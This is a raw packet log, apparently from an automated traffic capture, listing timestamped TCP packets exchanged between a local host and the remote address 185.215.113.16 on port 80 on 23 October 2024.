Oct 23, 2024 15:48:19.502753019 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502758980 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502772093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502784967 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502794981 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502796888 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502809048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502815008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502821922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502835035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502840042 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502846003 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502856970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502867937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502870083 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502882004 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502890110 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502893925 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502907991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502918959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502933025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502939939 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502940893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502943039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502955914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502964020 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502966881 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502979040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.502988100 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.502990961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503005028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503012896 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503016949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503030062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503034115 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503048897 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503058910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503060102 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503072023 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503082991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503093958 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503106117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503115892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503115892 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503129005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503137112 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503142118 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503154993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503165960 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503166914 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503180027 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503182888 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503191948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503205061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503216028 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503216028 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503227949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503236055 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503240108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503253937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503256083 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503266096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503278971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503287077 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503290892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503304958 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503305912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.503422976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.503422976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.573806047 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573828936 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573843002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573854923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573865891 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573878050 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573880911 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.573890924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573901892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573915005 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573923111 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.573930025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573944092 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.573966026 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.573992014 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.575687885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.575740099 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.575742006 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.575774908 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.575809002 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.575818062 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.575843096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.575884104 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.575894117 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.575928926 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.575962067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.575969934 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.575995922 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576030016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576035976 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576080084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576114893 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576122046 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576148987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576183081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576188087 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576232910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576271057 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576275110 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576307058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576339960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576347113 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576383114 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576416016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576417923 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576448917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576482058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576488972 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576515913 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576549053 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576558113 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576582909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576616049 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576623917 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576651096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576689005 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576699972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576735020 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576767921 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576775074 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576801062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576839924 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.576849937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576884031 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576919079 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.576921940 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577008009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577040911 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577047110 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577074051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577114105 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577124119 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577157974 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577192068 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577198982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577224016 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577258110 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577265024 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577290058 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577325106 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577330112 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577358961 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577390909 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577400923 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577425957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577460051 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577465057 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577492952 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577526093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577532053 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577559948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577595949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577601910 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577629089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577658892 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577667952 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577692032 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577728987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577733994 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577760935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577795029 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577800035 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577827930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577861071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577867985 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577893972 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577928066 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577933073 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.577960014 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577994108 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.577999115 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.578027010 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578061104 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578066111 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.578094006 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578126907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578134060 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.578160048 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578192949 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578202009 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.578228951 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578260899 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578269958 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.578295946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578330040 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578337908 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.578362942 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578397036 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578401089 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.578429937 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578465939 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.578469992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.610882998 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.610918045 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.610953093 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.610980988 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.610986948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611018896 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611226082 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611255884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611279011 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611298084 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611351013 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611372948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611407042 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611442089 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611452103 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611500025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611548901 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611553907 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611603975 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611638069 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611648083 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611677885 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611723900 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611727953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611777067 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611810923 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611825943 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611860991 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611913919 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611916065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611947060 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.611989975 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.611998081 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612046957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612083912 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612097025 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612118959 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612165928 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612170935 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612204075 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612237930 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612247944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612271070 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612320900 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612324953 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612360001 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612411022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612437010 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612442970 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612493038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612493992 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612545013 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612591982 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612596035 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612643957 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612693071 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612701893 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612723112 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612772942 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612777948 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612829924 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612879992 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612895966 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.612915993 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612966061 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.612972975 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613015890 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613048077 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613070965 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613097906 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613148928 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613149881 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613183022 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613236904 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613238096 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613291025 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613339901 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613346100 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613373995 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613423109 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613425970 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613456964 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613490105 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613507986 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613523960 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613557100 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613576889 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613590956 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613624096 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613658905 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613698959 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613698959 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613708019 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613759041 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613791943 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613820076 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613827944 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.613882065 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.613899946 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614042997 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614073038 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614105940 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614106894 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614156008 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614156008 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614192009 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614226103 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614245892 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614278078 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614331007 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614331007 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614366055 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614415884 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614424944 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614444971 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614495039 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614500999 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614531994 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614582062 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614587069 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614615917 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614665985 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614685059 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614701033 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614749908 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614751101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614785910 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614876986 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614877939 CEST	49713	80	192.168.2.5	185.215.113.16
Oct 23, 2024 15:48:19.614912987 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614962101 CEST	80	49713	185.215.113.16	192.168.2.5
Oct 23, 2024 15:48:19.614964008 CEST	49713	80	192.168.2.5	185.215.113.16
